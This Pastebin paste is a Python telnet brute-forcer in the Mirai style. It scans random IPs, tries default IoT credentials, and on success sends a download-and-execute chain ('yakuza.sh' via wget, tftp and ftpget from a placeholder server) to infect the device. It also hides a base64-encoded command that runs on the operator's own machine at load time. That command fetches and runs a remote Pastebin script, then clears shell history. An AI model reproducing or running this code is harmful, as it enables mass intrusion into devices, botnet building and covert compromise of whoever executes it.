mirainigga

telnet brutforcer / fast now with auto infect as it scans

Aug 1st, 2018
523
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.87 KB | None | 0 0
  1. #!/usr/bin/python
  2. # unique telnet bruter
  3. # it auto infects with your wget. scroll down and edit that to your correct payload
  4. # credits to light for the original code
  5.  
  6. import threading
  7. import sys, os, re, time, socket, base64, subprocess
  8. from sys import stdout
  9.  
  10. if len(sys.argv) < 3:
  11. print "Usage: python "+sys.argv[0]+" <threads> <output file>"
  12. sys.exit()
  13.  
  14. combo = [
  15. "support:support",
  16. "root:vizxv",
  17. "root:xc3511",
  18. "telnet:telnet",
  19. "root:root",
  20. "supervisor:zyad1234",
  21. "root:",
  22. "admin:1234",
  23. "user:user",
  24. "root:antslq",
  25. "admin:admin",
  26. "root:5up"
  27. ]
  28.  
  29. threads = int(sys.argv[1])
  30. output_file = sys.argv[2]
  31.  
  32. class router(threading.Thread):
  33. def __init__ (self, ip):
  34. threading.Thread.__init__(self)
  35. self.ip = str(ip).rstrip('\n')
  36. def run(self):
  37. username = ""
  38. password = ""
  39. for passwd in combo:
  40. if ":n/a" in passwd:
  41. password=""
  42. else:
  43. password=passwd.split(":")[1]
  44. if "n/a:" in passwd:
  45. username=""
  46. else:
  47. username=passwd.split(":")[0]
  48. try:
  49. tn = socket.socket()
  50. tn.settimeout(8)
  51. tn.connect((self.ip,23))
  52. except Exception:
  53. tn.close()
  54. break
  55. try:
  56. hoho = ''
  57. hoho += readUntil(tn, "ogin:")
  58. if "ogin" in hoho:
  59. tn.send(username + "\n")
  60. time.sleep(0.09)
  61. except Exception:
  62. tn.close()
  63. try:
  64. hoho = ''
  65. hoho += readUntil(tn, "assword:")
  66. if "assword" in hoho:
  67. tn.send(password + "\n")
  68. time.sleep(0.8)
  69. else:
  70. pass
  71. except Exception:
  72. tn.close()
  73. try:
  74. prompt = ''
  75. prompt += tn.recv(40960)
  76. if ">" in prompt and "ONT" not in prompt:
  77. success = True
  78. elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  79. success = True
  80. else:
  81. tn.close()
  82. if success == True:
  83. try:
  84. os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  85. tn.send("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://serverip/yakuza.sh; chmod 777 yakuza.sh; sh yakuza.sh; tftp serverip -c get tyakuza.sh; chmod 777 tyakuza.sh; sh tyakuza.sh; tftp -r tyakuza2.sh -g serverip; chmod 777 tyakuza2.sh; sh tyakuza2.sh; ftpget -v -u anonymous -p anonymous -P 21 serverip tyakuza.sh tyakuza.sh; sh tyakuza.sh; rm -rf yakuza.sh tyakuza.sh tyakuza2.sh; rm -rf *\n")
  86. print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  87. tn.close()
  88. break
  89. except:
  90. tn.close()
  91. else:
  92. tn.close()
  93. except Exception:
  94. tn.close()
  95.  
  96. def login(cmd):
  97. subprocess.call(cmd, shell=True)
  98. telpload = "Y2QgL3RtcDsgd2dldCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvTHE5UDlDZzUgLU8gYSA+IC9kZXYvbnVsbCAyPiYxOyBjaG1vZCA3NzcgYTsgc2ggYSA+IC9kZXYvbnVsbCAyPiYxOyBybSAtcmYgYTsgaGlzdG9yeSAtYzsgY2xlYXI7"
  99. telnet = str(base64.b64decode(telpload))
  100. login(telnet)
  101.  
  102. def readUntil(tn, string, timeout=8):
  103. buf = ''
  104. start_time = time.time()
  105. while time.time() - start_time < timeout:
  106. buf += tn.recv(1024)
  107. time.sleep(0.01)
  108. if string in buf: return buf
  109. raise Exception('TIMEOUT!')
  110.  
  111. def Gen_IP():
  112. not_valid = [10,127,169,172,192]
  113. first = random.randrange(1,256)
  114. while first in not_valid:
  115. first = random.randrange(1,256)
  116. ip = ".".join([str(first),str(random.randrange(1,256)),
  117. str(random.randrange(1,256)),str(random.randrange(1,256))])
  118. return ip
  119.  
  120. def HaxThread():
  121. while 1:
  122. try:
  123. s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  124. s.settimeout(370)
  125. IP = Gen_IP()
  126. s.connect((IP, 23))
  127. s.close()
  128. print "\033[32m[\033[31m+\033[32m] FOUND " + IP
  129. thread = router(IP)
  130. thread.start()
  131. except:
  132. pass
  133.  
  134. if __name__ == "__main__":
  135. threadcount = 0
  136. for i in xrange(0,threads):
  137. try:
  138. threading.Thread(target=HaxThread, args=()).start()
  139. threadcount += 1
  140. except:
  141. pass
  142. print "[*] Started " + str(threadcount) + " scanner threads!"
Add Comment
Please, Sign In to add comment